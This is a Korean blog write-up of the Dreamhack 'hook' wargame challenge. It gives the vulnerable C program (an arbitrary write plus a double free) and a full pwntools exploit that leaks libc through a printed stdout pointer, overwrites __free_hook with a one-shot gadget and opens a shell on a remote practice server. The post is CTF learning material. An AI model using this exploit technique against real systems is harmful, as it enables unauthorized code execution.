외로운 Nova의 작업실

dreamhack - hook write up 본문

Computer App Penetesting/System Vulnerability

dreamhack - hook write up

Nova_ 2023. 4. 22. 17:08

- source code

// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    long *ptr;
    size_t size;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("Size: ");
    scanf("%ld", &size);

    ptr = malloc(size);

    printf("Data: ");
    read(0, ptr, size);

    *(long *)*ptr = *(ptr+1);
   
    free(ptr);
    free(ptr);

    system("/bin/sh");
    return 0;
}

 

- exploit code

from pwn import *

p = remote("158.247.221.81",17238 )

#adress set
rel_free_hook = 0x3c67a8
rel_stdout = 0x3c5620
rel_oneshot = 0x4526a

#proc1 - get address and cal lib adress
p.recvuntil("stdout: ")
stdout = p.recv()[:-1]
print(stdout)
stdout = int(stdout, 16)
lib = stdout - rel_stdout
free_hook = lib + rel_free_hook
oneshot = lib + rel_oneshot

#proc2 - send size
p.recvuntil("Size: ")
p.sendline("400")

#proc3 - send payload
payload = p64(free_hook)
payload += p64(oneshot)
p.recvuntil("Data: ")
p.sendline(payload)

p.interactive()

 

- 알게된점

puts함수와 write함수는 출력값이 바이트이지만, print함수는 출력값이 문자열입니다. 따라서 p.recv(6)인지 p.recv(14)로 나뉘고, print함수의 경우 int( , 16)함수를 이용해서 변경해줘야합니다.

가젯들중에 안되는 가젯이 있을 수 있습니다. 여기서는 첫번째 원샷가젯이 안되서 두번째 원샷 가젯으로 진행하였습니다.

'Computer App Penetesting > System Vulnerability' 카테고리의 다른 글

dreamhack - OOB write up  (0) 2023.04.25
dreamhack - fho write up  (0) 2023.04.24
dreamhack - oneshot write up  (0) 2023.04.21
dreamhack - basic_rop_x86 write up  (0) 2023.04.20
dreamhack - basic_rop_x64 write up  (0) 2023.04.20
Comments